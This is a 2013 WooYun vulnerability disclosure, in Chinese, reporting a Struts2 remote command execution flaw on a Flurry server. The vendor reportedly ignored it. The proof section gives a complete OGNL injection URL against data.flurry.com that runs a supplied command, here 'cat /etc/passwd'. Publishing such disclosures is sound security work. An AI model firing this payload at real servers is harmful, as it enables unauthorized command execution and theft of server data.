漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-046556
漏洞标题：Flurry 移动应用统计公司Struts2远程命令执行
相关厂商：Flurry
漏洞作者： 7z1
提交时间：2013-12-20 17:41
修复时间：2014-02-03 17:41
公开时间：2014-02-03 17:41
漏洞类型：命令执行
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-20： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-02-03： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
Flurry 移动应用统计公司某分站存在Struts2远程命令执行。
详细说明：
本来是对国内某手机游戏抓包的，没想到把他给抓出来了。发现存在Struts2远程执行命令漏洞，搜下名气还不小~~
通过该漏洞，可读取服务器中间件配置文件等敏感信息。
漏洞证明：
http://data.flurry.com//aas.do?%28%27\43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27\43context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\75false%27%29%28b%29%29&%28%27\43c%27%29%28%28%27\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27\43req\75@org.apache.struts2.ServletActionContext@getRequest%28%29%27%29%28d%29%29&%28h%29%28%28%27\43webRootzpro\75@java.lang.Runtime@getRuntime%28%29.exec%28\43req.getParameter%28%22cmd%22%29%29%27%29%28d%29%29&%28i%29%28%28%27\43webRootzproreader\75new\40java.io.DataInputStream%28\43webRootzpro.getInputStream%28%29%29%27%29%28d%29%29&%28i01%29%28%28%27\43webStr\75new\40byte[51020]%27%29%28d%29%29&%28i1%29%28%28%27\43webRootzproreader.readFully%28\43webStr%29%27%29%28d%29%29&%28i111%29%28%28%27\43webStr12\75new\40java.lang.String%28\43webStr%29%27%29%28d%29%29&%28i2%29%28%28%27\43xman\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i2%29%28%28%27\43xman\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i95%29%28%28%27\43xman.getWriter%28%29.println%28\43webStr12%29%27%29%28d%29%29&%28i99%29%28%28%27\43xman.getWriter%28%29.close%28%29%27%29%28d%29%29&cmd=cat+%2Fetc%2Fpasswd
修复方案：
访问官网更新补丁。
版权声明：转载请注明来源 7z1@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝